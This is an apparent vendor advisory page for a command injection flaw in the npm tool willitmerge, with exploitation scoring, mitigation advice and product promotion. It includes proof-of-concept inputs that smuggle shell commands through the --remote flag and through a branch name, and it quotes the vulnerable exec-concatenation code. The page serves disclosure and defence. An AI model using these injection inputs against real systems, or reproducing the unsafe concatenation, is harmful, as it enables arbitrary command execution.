CVE-2025-66219 — willitmerge
CVE-2025-66219 is a CWE-77 vulnerability in willitmerge. No vendor fix is recorded yet; mitigation options are listed below.
willitmerge has a Command Injection vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-66219.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
willitmergenpmDescription
willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version [email protected].
Resources:
- Project's GitHub source code: https://github.com/shama/willitmerge/
- Project's npm package: https://www.npmjs.com/package/willitmerge
Background on exploitation
Reporting a Command Injection vulnerability in willitmerge npm package.
A security vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.
Exploit
POC 1
- Install
willitmerge - Run it with the following command
willitmerge --verbose --remote "https://github.com/lirantal/npq.git; touch /tmp/hel"
- Confirm the file
/tmp/helis created on disk
GitHub-sourced attack vector
Lines 189-197 in lib/willitmerge.js
pass user input controlled by repository collaborators into the git command:
var cmds = [
'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,
'git remote add ' + branch + ' ' + gitUrl,
'git pull ' + branch + ' ' + iss.head.ref,
'git reset --merge HEAD',
'git checkout ' + origBranch,
'git branch -D ' + branch,
'git remote rm ' + branch
];
Users creating malicious branch names such as ;{echo,hello,world}>/tmp/c
This is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)
Author
Liran Tal
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | willitmerge | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for willitmerge, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of willitmerge has shipped for CVE-2025-66219 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-66219 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-66219. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-66219 in your dependencies?
O3 Security finds CVE-2025-66219 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.